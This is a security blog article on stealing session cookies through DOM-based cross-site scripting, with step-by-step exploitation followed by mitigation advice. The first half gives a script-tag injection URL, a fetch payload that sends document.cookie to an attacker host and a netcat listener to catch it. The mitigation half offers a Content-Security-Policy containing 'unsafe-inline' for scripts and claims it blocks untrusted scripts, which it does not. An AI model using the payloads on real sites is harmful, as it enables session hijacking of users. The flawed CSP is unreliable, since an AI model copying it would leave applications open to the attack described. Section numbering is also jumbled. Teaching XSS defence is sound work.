Exploiting DOM Vulnerabilities: A Deep Dive into Cookie Theft via JavaScript Injection

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Introduction

Cross-Site Scripting (XSS) remains a critical web security flaw, allowing attackers to execute malicious scripts in a victim’s browser. In this analysis, we dissect a real-world JavaScript payload exploiting `document.cookie` to steal session tokens—a technique often used in penetration testing and bug bounty hunting.

Learning Objectives

  • Understand how DOM-based XSS can leak sensitive cookies.
  • Learn to craft and test a proof-of-concept (PoC) payload.
  • Mitigate such vulnerabilities in web applications.

You Should Know

1. Exploiting `document.cookie` via JavaScript Injection

Payload:

Array.from([document.cookie], alert)

What It Does:

This JavaScript snippet forces the browser to read the current session cookies and display them in an alert box. Attackers can exfiltrate this data to a remote server.

Step-by-Step Exploitation:

  1. Identify a vulnerable input field (e.g., search bar, comment section).
  2. Inject the payload via URL or form input: 
    https://app.example.com/search?q=<script>Array.from([document.cookie],alert)</script>
  3. Trigger execution—if unfiltered, the victim’s cookies will pop up.
    1. Stealing Cookies via External Server (Advanced Exfiltration)

Payload:

fetch('https://attacker.com/steal?data=' + document.cookie)

What It Does:

Silently sends stolen cookies to an attacker-controlled server.

Step-by-Step Guide:

  1. Host a listener (e.g., Netcat or Python HTTP server): 
    nc -lvnp 80
  2. Inject the malicious script into a vulnerable endpoint.

3. Monitor logs for captured cookies.

  1. Mitigating DOM XSS with Content Security Policy (CSP)

CSP Header Example:

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

What It Does:

Restricts script execution to trusted sources only.

Implementation Steps:

  1. Add CSP to your web server (Apache/Nginx config or meta tag).

2. Test policies using browser DevTools.

4. Sanitizing Inputs in JavaScript

Using DOMPurify Library:

const clean = DOMPurify.sanitize(userInput);

What It Does:

Removes malicious scripts from user-supplied data.

Implementation:

1. Install DOMPurify:

npm install dompurify

2. Sanitize inputs before rendering.

5. Browser Protections: HttpOnly and Secure Flags

Cookie Configuration:

Set-Cookie: sessionID=123; HttpOnly; Secure; SameSite=Strict

What It Does:

– `HttpOnly` blocks JavaScript access.
– `Secure` enforces HTTPS-only transmission.

What Undercode Say

  • Key Takeaway 1: DOM XSS is a low-hanging fruit for attackers—always validate and sanitize inputs.
  • Key Takeaway 2: CSP and secure cookie flags are essential defense layers.

Analysis:

This exploit highlights how simple JavaScript can bypass weak input filters. While the PoC uses alert(), real attacks often exfiltrate data silently. Organizations must adopt CSP, input sanitization, and secure cookie policies to mitigate risks.

Prediction

As web apps rely more on client-side rendering (e.g., React, Angular), DOM-based attacks will surge. Automated scanners may miss such flaws, emphasizing manual penetration testing. Future exploits could leverage WebAssembly (WASM) for stealthier payloads.

Note: Always test vulnerabilities ethically with proper authorization. Unauthorized hacking is illegal.

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IT/Security Reporter URL:

Reported By: Shivangmauryaa Bounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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